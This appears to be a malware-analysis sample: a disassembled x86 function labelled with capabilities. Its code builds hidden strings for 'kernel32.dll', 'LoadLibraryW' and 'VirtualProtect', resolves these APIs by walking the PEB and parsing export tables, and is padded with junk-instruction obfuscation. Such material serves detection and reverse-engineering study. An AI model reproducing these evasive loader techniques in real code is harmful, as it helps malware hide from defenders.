Function at 0x438779
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Parse pe header
Resolve function by parsing pe exports

Disassembly:
add esp, 4
call 0x43759a
add byte [ecx], bh
dec esp
dec esi
dec ebx
cmp byte [edx], bh
push eax
dec edx
add esp, 4
sub ecx, 0xa3ae
pop ecx
movzx edx, word [ebp - 0x100]
test edx, edx
jne 0x4375c7
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
sub eax, ecx
mov dword [ebp - 0x1498], eax
jmp 0x43762a
movzx edx, word [ebp - 0x1f8]
movzx eax, word [ebp - 0x100]
cmp edx, eax
je 0x4374e6
movzx ecx, word [ebp - 0x1f8]
xor ecx, 0x20
movzx edx, word [ebp - 0x100]
cmp ecx, edx
je 0x4374e6
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
cmp eax, ecx
jge 0x437614
mov dword [ebp - 0x14d8], 0xffffffff
jmp 0x43761e
mov dword [ebp - 0x14d8], 1
mov edx, dword [ebp - 0x14d8]
mov dword [ebp - 0x1498], edx
cmp dword [ebp - 0x1498], 0
jne 0x437673
push ecx
jmp 0x43763c
jmp 0x437644
and ecx, 0x622b
pop ecx
push eax
push edx
add esp, 4
and eax, 0x12d56
pop eax
push esi
sub esi, 0x4673
xor esi, 0x6c75
pop esi
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x2e0], eax
jmp 0x4376db
push edx
xor edx, 0x2974
jmp 0x437682
or edx, 0x4489
pop edx
push ebx
or ebx, 0x12c2b
or ebx, 0x774f
pop ebx
push edi
sub edi, 0xfb2
jmp 0x4376a4
pop edi
mov ecx, dword [ebp - 0x4d4]
mov edx, dword [ecx]
mov dword [ebp - 0x4d4], edx
mov eax, dword [ebp - 0x4d4]
cmp eax, dword [ebp - 0xc20]
je 0x4376d1
mov ecx, dword [ebp - 0x4d4]
cmp dword [ecx + 0x30], 0
jne 0x437487
mov dword [ebp - 0x2e0], 0
push esi
jmp 0x4376e4
sub esi, 0x1869c
pop esi
push ecx
sub ecx, 0x3cd3
sub ecx, 0x8392
pop ecx
push esi
and esi, 0x9ee4
add esi, 0xaaa2
jmp 0x43770c
pop esi
cmp dword [ebp - 0x2e0], 0
jne 0x438026
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push edx
sub edx, 0xbf85
pop edx
push ebx
push esi
add esp, 4
call 0x4377cd
add byte [ebx + 0x45], cl
cmp eax, 0x40323350
add esp, 4
sub ebx, 0x3401
pop ebx
push edx
xor edx, 0x15a60
or edx, 0x112c4
pop edx
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push edx
add edx, 0xe400
call 0x43787c
add byte [ebx], dh
inc edx
inc ebp
cmp al, 0x49
dec esp
dec ebx
xor eax, 0xe804c483
or eax, dword [eax]
add byte [eax], al
add byte [esi + 0x42], cl
cmp al, 0x3a
dec esp
xor eax, 0x383b3942
add esp, 4
sub edx, 0x9ae8
pop edx
cmp dword [ebp - 0x14dc], 0
jne 0x4378b1
mov dword [ebp - 0x6ec], 0
jmp 0x437b6d
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push ebx
push esi
add esp, 4
call 0x4378d6
add byte [ebx], bh
xor al, 0x4d
xor eax, 0x4a433235
add esp, 4
call 0x4378e5
add byte [edi + 0x39], cl
aas
dec ebx
inc edx
add esp, 4
or ebx, 0x5b5f
or ebx, 0x52b2
pop ebx
cmp dword [ebp - 0xc2c], 0
jne 0x43790d
mov dword [ebp - 0x6ec], 0
jmp 0x437b6d
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx
push ebx
or ebx, 0x17c5d
sub ebx, 0x4a59
call 0x437936
add byte [eax], bh
xor edi, dword [esi]
cmp dword [edi], edi
inc esi
dec ebx
aas
dec esi
add esp, 4
call 0x437947
add byte [eax], bh
inc ecx
dec edx
inc ebp
inc ecx
xor eax, 0xc4833a4b
add al, 0x5b
lea edx, [ebp - 0x16cc]
mov dword [ebp - 0xc28], edx
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc24], ecx
xor edx, edx
mov word [ebp - 0x1fc], dx
xor eax, eax
mov word [ebp - 0x104], ax
push eax
push edi
add esp, 4
and eax, 0xb409
and eax, 0x13582
add eax, 0x109a2
or eax, 0x346a
pop eax
push esi
add esi, 0x173d
sub esi, 0x2335
sub esi, 0x12a09
pop esi
mov ecx, dword [ebp - 0xc24]
mov dx, word [ecx]
mov word [ebp - 0xf82], dx
mov eax, dword [ebp - 0xc24]
add eax, 2
mov dword [ebp - 0xc24], eax
mov cx, word [ebp - 0xf82]
mov word [ebp - 0x1fc], cx
mov edx, dword [ebp - 0xc28]
mov ax, word [edx]
mov word [ebp - 0xf84], ax
mov ecx, dword [ebp - 0xc28]
add ecx, 2
mov dword [ebp - 0xc28], ecx
mov dx, word [ebp - 0xf84]
mov word [ebp - 0x104], dx
push eax
push eax
add esp, 4
add eax, 0x8f0f
add eax, 0x174cb
pop eax
push ebx
or ebx, 0x17d55
jmp 0x437a22
jmp 0x437a27
pop ebx
push eax
add eax, 0x86ec
add eax, 0x12d94
pop eax
movzx eax, word [ebp - 0x104]
test eax, eax
jne 0x437a59
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
sub ecx, edx
mov dword [ebp - 0x14e4], ecx
jmp 0x437abc
movzx eax, word [ebp - 0x1fc]
movzx ecx, word [ebp - 0x104]
cmp eax, ecx
je 0x437978
movzx edx, word [ebp - 0x1fc]
xor edx, 0x20
movzx eax, word [ebp - 0x104]
cmp edx, eax
je 0x437978
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
cmp ecx, edx
jge 0x437aa6
mov dword [ebp - 0x14e0], 0xffffffff
jmp 0x437ab0
mov dword [ebp - 0x14e0], 1
mov eax, dword [ebp - 0x14e0]
mov dword [ebp - 0x14e4], eax
cmp dword [ebp - 0x14e4], 0
jne 0x437b05
push ecx
or ecx, 0x112d7
and ecx, 0x5810
sub ecx, 0x172e4
add ecx, 0x98b5
pop ecx
push edi
push ebx
add esp, 4
and edi, 0x37f0
and edi, 0x129dd
add edi, 0x9569
pop edi
mov ecx, dword [ebp - 0x4d8]
mov dword [ebp - 0x6ec], ecx
jmp 0x437b6d
push edx
jmp 0x437b0f
add edx, 0xaff6
pop edx
push esi
xor esi, 0x1865c
sub esi, 0xe052
call 0x437b33
add byte [ebx + eax*2], dh
xor al, byte [ecx + 0x4f]
inc ebp
inc ecx
xor eax, 0xc4833e38
add al, 0x5e
mov edx, dword [ebp - 0x4d8]
mov eax, dword [edx]
mov dword [ebp - 0x4d8], eax
mov ecx, dword [ebp - 0x4d8]
cmp ecx, dword [ebp - 0xc2c]
je 0x437b63
mov edx, dword [ebp - 0x4d8]
cmp dword [edx + 0x30], 0
jne 0x437919
mov dword [ebp - 0x6ec], 0
push ebx
or ebx, 0xb967
sub ebx, 0x7151
pop ebx
push eax
push edx
add esp, 4
or eax, 0x5619
call 0x437b93
add byte [ecx + 0x47], cl
cmp bh, byte [ebx]
dec esp
push eax
cmp eax, dword [ebx + 0x6eb04c4]
cmp byte [edx + 0x4a], cl
dec ebp
dec edi
pop eax
cmp dword [ebp - 0x6ec], 0
jne 0x437be9
push eax
add eax, 0x17ec2
jmp 0x437bb7
pop eax
push esi
jmp 0x437bc1
xor esi, 0xd54c
pop esi
push ebx
push ebx
add esp, 4
xor ebx, 0x2d04
or ebx, 0xed9c
pop ebx
mov dword [ebp - 0x738], 0
jmp 0x438710
push edi
add edi, 0x8afb
xor edi, 0x45f5
pop edi
push esi
xor esi, 0x17d0b
or esi, 0x8e60
sub esi, 0x169c7
pop esi
push esi
jmp 0x437c14
and esi, 0xd5be
pop esi
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x14e8], edx
cmp dword [ebp - 0x14e8], 0
jne 0x437c5a
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x437f4b
mov ecx, dword [ebp - 0x14e8]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14ec], edx
jne 0x437c82
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x437f4b
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x14ec]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x14f0], ecx
cmp dword [ebp - 0x14f0], 0
jne 0x437cb4
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
jmp 0x437f4b
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x6f0], eax
jne 0x437cd9
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], ecx
jmp 0x437f4b
mov edx, dword [ebp - 0x6f0]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18a0], eax
mov ecx, dword [ebp - 0x6f0]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18a4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18a8], ecx
mov dword [ebp - 0x6f4], 0
jmp 0x437d33
mov edx, dword [ebp - 0x6f4]
add edx, 1
mov dword [ebp - 0x6f4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6f4]
cmp ecx, dword [eax + 0x18]
jae 0x437f3f
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x6f8], ecx
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18a8]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18ac], eax
mov dword [ebp - 0x180], 0
jmp 0x437da3
mov ecx, dword [ebp - 0x180]
add ecx, 1
mov dword [ebp - 0x180], ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
test eax, eax
je 0x437e55
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
test edx, edx
je 0x437e55
push edi
add edi, 0xc17d
call 0x437de7
add byte [ebx + 0x4b], cl
cmp dword ds:[ecx + 0x48], eax
dec ebx
inc ebp
dec eax
inc ebx
add esp, 4
pop edi
push ebx
push ebx
add esp, 4
add ebx, 0xa8d5
jmp 0x437dfb
xor ebx, 0xe9a9
pop ebx
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
cmp ecx, eax
je 0x437e47
mov ecx, dword [ebp - 0x6f8]
add ecx, dword [ebp - 0x180]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x180]
movsx ecx, byte [ebp + eax - 0x820]
cmp edx, ecx
jne 0x437e4e
jmp 0x437d94
jmp 0x437e55
push edx
xor edx, 0x4c50
and edx, 0x11054
pop edx
push edx
push eax
add esp, 4
sub edx, 0x10d46
and edx, 0x6bba
pop edx
push edi
push ecx
add esp, 4
xor edi, 0xf583
or edi, 0x1704d
pop edi
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
cmp eax, edx
jne 0x437eb4
mov dword [ebp - 0xc30], 0
jmp 0x437f23
push ecx
push esi
add esp, 4
jmp 0x437ec1
add ecx, 0x13c10
pop ecx
push edx
push edi
add esp, 4
add edx, 0xf0e6
or edx, 0x4f48
add edx, 0xc85e
and edx, 0x644
pop edx
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
or eax, 0x20
cmp ecx, eax
jge 0x437f19
mov dword [ebp - 0xc30], 0xffffffff
jmp 0x437f23
mov dword [ebp - 0xc30], 1
cmp dword [ebp - 0xc30], 0
jne 0x437f3a
mov ecx, dword [ebp - 0x18ac]
mov dword [ebp - 0x3c4], ecx
jmp 0x437f4b
jmp 0x437d24
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
cmp dword [ebp - 0x3c4], 0
je 0x438026
push eax
push ebx
add esp, 4
or eax, 0x15b7b
add eax, 0xe10f
add eax, 0x54a4
pop eax
push edx
or edx, 0xa363
and edx, 0x543e
sub edx, 0xd7d1
or edx, 0x1d37
pop edx
mov eax, dword [ebp - 0x3c4]
push edx
call 0x43871e
add byte [edx + 0x44], cl
xor al, 0x33
dec ecx
cmp dword [ebx - 0x3d7efb3c], eax
shl dword [edx + 1], cl
add byte [ecx + 0xa65ef2], al
add byte [ecx + 0x1692ce2], al
add byte [edx + 0x53], bl
xor ebx, 0x12228
or ebx, 0x134ae
pop ebx
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push edi
push edi
add esp, 4
call 0x438766
add byte [edi + esi], bh
inc ebp
cmp ecx, dword ss:[esi + 0x4b]
xor edx, dword [eax + 0x4b]
add esp, 4
call 0x438779
add byte [ebx + 0x32], al
cmp al, 0x38
aaa
inc esi
aaa
xor eax, 0x4c48336
and edi, 0x12311
pop edi
cmp dword [ebp - 0x3cc], 0
je 0x438795
cmp dword [ebp - 0xa5c], 0
jne 0x4387db
push edx
push eax
add esp, 4
or edx, 0x32f2
add edx, 0x1f05
add edx, 0x5c2b
xor edx, 0x946
pop edx
push eax
jmp 0x4387ba
xor eax, 0x4aeb
add eax, 0xe6ce
pop eax
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push esi
or esi, 0xc289
sub esi, 0xee6c
add esi, 0x174c
pop esi
push edx
push ecx
add esp, 4
and edx, 0x16f0d
xor edx, 0x102ad
xor edx, 0x1749e
or edx, 0x11bc2
pop edx
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push eax
push edi
add esp, 4
or eax, 0x11fcb
xor eax, 0x66
sub eax, 0x2a5f
pop eax
push esi
add esi, 0xee6
add esi, 0xd96b
add esi, 0xb9a6
xor esi, 0xb08e
pop esi
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push ecx
push edi
add esp, 4
sub ecx, 0x16c99
pop ecx
push ebx
push edx
add esp, 4
or ebx, 0x54ed
pop ebx
push edx
jmp 0x4388fd
add edx, 0x9f6e
pop edx
push eax
push edx
add esp, 4
jmp 0x43890e
pop eax
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push ebx
push edx
add esp, 4
add ebx, 0x15ab8
or ebx, 0xb7a
and ebx, 0x10a91
sub ebx, 0x8943
pop ebx
push esi
and esi, 0xcbb3
jmp 0x438961
or esi, 0x13fb
pop esi
cmp dword [ebp - 0x150c], 0
jne 0x438980
mov dword [ebp - 0x2a8], 0
jmp 0x438c27
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push edx
sub edx, 0xafea
xor edx, 0x16549
and edx, 0x2dec
pop edx
push edx
push eax
add esp, 4
and edx, 0x11378
sub edx, 0x2422
or edx, 0xeaea
or edx, 0xf9c9
pop edx
cmp dword [ebp - 0xc4c], 0
jne 0x4389dc
mov dword [ebp - 0x2a8], 0
jmp 0x438c27
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push edi
add edi, 0x13a06
jmp 0x4389f4
xor edi, 0xb0ca
pop edi
push esi
xor esi, 0xe55a
pop esi
push esi
add esi, 0x81af
add esi, 0xc229
jmp 0x438a19
pop esi
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push ecx
push esi
add esp, 4
and ecx, 0x86b5
jmp 0x438a55
pop ecx
push edx
and edx, 0x151fc
xor edx, 0xbe4c
pop edx
push esi
call 0x438a72
add byte [ebx + 0x4e], cl
cmp byte ds:[edx + ecx*2 + 0x4d], al
add esp, 4
pop esi
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push eax
or eax, 0x14fdc
pop eax
push edx
add edx, 0x1475a
pop edx
push eax
sub eax, 0x52ca
pop eax
push esi
and esi, 0x15786
and esi, 0x51e
sub esi, 0x3c6
sub esi, 0xef38
pop esi
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x438b1c
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1514], ecx
jmp 0x438b76
movzx eax, word [ebp - 0x204]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x438a44
movzx edx, word [ebp - 0x204]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x438a44
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x438b60
mov dword [ebp - 0x1510], 0xffffffff
jmp 0x438b6a
mov dword [ebp - 0x1510], 1
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x1514], eax
cmp dword [ebp - 0x1514], 0
jne 0x438bbf
push edi
call 0x438b8f
add byte [edx], bh
aaa
inc esi
push eax
cmp dword [edi], edi
xor eax, 0xc4834f34
add al, 0x81
invalid
push edx
and edx, 0xf646
jmp 0x438bcd
pop edx
push ebx
sub ebx, 0x8d72
call 0x438be1
add byte [edi], bh
dec esp
inc ebx
aaa
xor al, byte [ebx - 0x147efb3c]
loopne 0x438c1f
add dword [eax], eax
and ebx, 0xcfa4
pop ebx
mov edx, dword [ebp - 0x4e4]
mov eax, dword [edx]
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [ebp - 0xc4c]
je 0x438c1d
mov edx, dword [ebp - 0x4e4]
cmp dword [edx + 0x30], 0
jne 0x4389e8
mov dword [ebp - 0x2a8], 0
pop eax
std
invalid
push edx
push eax
add esp, 4
xor edx, 0x11986
xor edx, 0x785b
pop edx
push edi
push esi
add esp, 4
add edi, 0x4a58
and edi, 0x7bd
xor edi, 0x20be
pop edi
push edx
add edx, 0x59b0
pop edx
cmp dword [ebp - 0x2a8], 0
jne 0x43955e
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push edx
push ebx
add esp, 4
jmp 0x438d09
pop edx
push edx
and edx, 0xe2c4
add edx, 0x182f
add edx, 0x5ea8
call 0x438d2d
add byte [edx + edi], bh
xor al, 0x4c
cmp al, 0x4f
cmp dword [eax + 0x3b], eax
inc edx
add esp, 4
pop edx
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push esi
push ebx
add esp, 4
and esi, 0x149f3
pop esi
push edi
push edx
add esp, 4
sub edi, 0xf104
call 0x438dd7
add byte [edi + 0x3e], cl
inc edx
dec ebx
cmp bh, byte [ebx]
add esp, 4
jmp 0x438ddf
or edi, 0x16791
pop edi
cmp dword [ebp - 0x1518], 0
jne 0x438dfe
mov dword [ebp - 0x710], 0
jmp 0x4390a5
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push esi
jmp 0x438e16
pop esi
push esi
sub esi, 0xa9cf
jmp 0x438e26
pop esi
push ecx
push ebx
add esp, 4
jmp 0x438e35
add ecx, 0x1268a
sub ecx, 0xb830
pop ecx
cmp dword [ebp - 0xc58], 0
jne 0x438e5a
mov dword [ebp - 0x710], 0
jmp 0x4390a5
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push edi
or edi, 0xb094
pop edi
push ebx
push ecx
add esp, 4
sub ebx, 0x1541c
pop ebx
push ebx
push esi
add esp, 4
xor ebx, 0x452f
xor ebx, 0xa791
pop ebx
push eax
push eax
add esp, 4
xor eax, 0x16651
pop eax
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push edx
push ecx
add esp, 4
or edx, 0xdf46
pop edx
push eax
or eax, 0x7916
jmp 0x4395d3
sub eax, 0x46d4
call 0x4395e6
add byte [ebx + 0x4d], al
dec ecx
inc esp
dec edx
cmp al, 0x37
add esp, 4
pop eax
cmp dword [ebp - 0x1574], 0
jne 0x439602
mov dword [ebp - 0x2a8], 0
jmp 0x4398a9
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push ebx
and ebx, 0x1412b
and ebx, 0x12971
pop ebx
push ecx
push edx
add esp, 4
call 0x439636
add byte [eax], bh
dec ebp
dec ecx
inc ecx
cmp al, 0x50
inc ecx
push eax
dec edx
add esp, 4
pop ecx
push ecx
push ecx
add esp, 4
xor ecx, 0x13307
pop ecx
cmp dword [ebp - 0xc68], 0
jne 0x43965e
mov dword [ebp - 0x2a8], 0
jmp 0x4398a9
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx